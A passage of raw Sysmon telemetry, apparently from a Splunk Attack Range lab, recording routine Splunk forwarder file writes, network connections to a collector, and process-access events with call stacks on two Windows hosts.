15:09:30.471{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CE84F70AA35E2074690A5E53FBB08AEA,SHA256=E8DA8F2FFCE5C263DDCA83D5C85BED5BD6D36AE2359D0FE326E247157C680740,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018306Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:30.345{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=365C593B9AA17049B14B963B50DDE629,SHA256=E90355D210697DEE18920F114B566E52DA78D59A1D1DC8044147B87FAD7DFAFB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:30.080{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000057386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:27.462{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63195-false10.0.1.12-8000- 23542300x800000000000000057389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:31.538{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3CF0D75F82FBD0F3FD2DC7D1A06E3ACD,SHA256=5E5DE95950F8D58190E633E745187C95C98BE329DA535AD45836380182491A7B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000018320Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:31.630{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-752B-613B-4405-00000000F101}1040C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018319Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:31.630{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018318Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:31.630{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018317Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:31.630{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018316Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:31.630{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018315Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:31.630{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018314Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:31.630{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018313Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:31.630{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018312Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:31.630{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018311Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:31.630{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018310Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:31.630{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-752B-613B-4405-00000000F101}1040C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018309Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:31.630{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-752B-613B-4405-00000000F101}1040C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018308Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:31.631{625C326B-752B-613B-4405-00000000F101}1040C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018307Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:31.376{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B6A81205CF62F0F80A4B09041F27F3F9,SHA256=5B71556F0FAAD46151F083292FAFC1151FE2424BE2F80836D36E715FB26C0944,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018351Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.864{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=DC678E6323BDB33BC08D167BBBB9BC34,SHA256=77B851D3927E0A65AC12FCDAAFE87B63C45A2B8523E5A1DDA725F90A67D80454,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018350Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.864{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=202EF526EE33538D9ADB46403C71C795,SHA256=6B08A8039CD2BEAB1A260548B1EAFF89D81EEAE73A0F161ED200D01F494DE75F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018349Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.864{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=2F52F9224C19EDF28C639CCAE5B9A917,SHA256=3705817B425050C6B91D99D355DFD46BC835DAC4967A327CF3C37453FAA2FE18,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000018348Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:31.509{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50421-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000018347Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.630{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-752C-613B-4605-00000000F101}2736C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018346Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.630{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018345Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.630{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018344Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.630{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018343Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.630{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018342Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.630{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018341Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.630{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018340Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:09:32.630{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018339Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 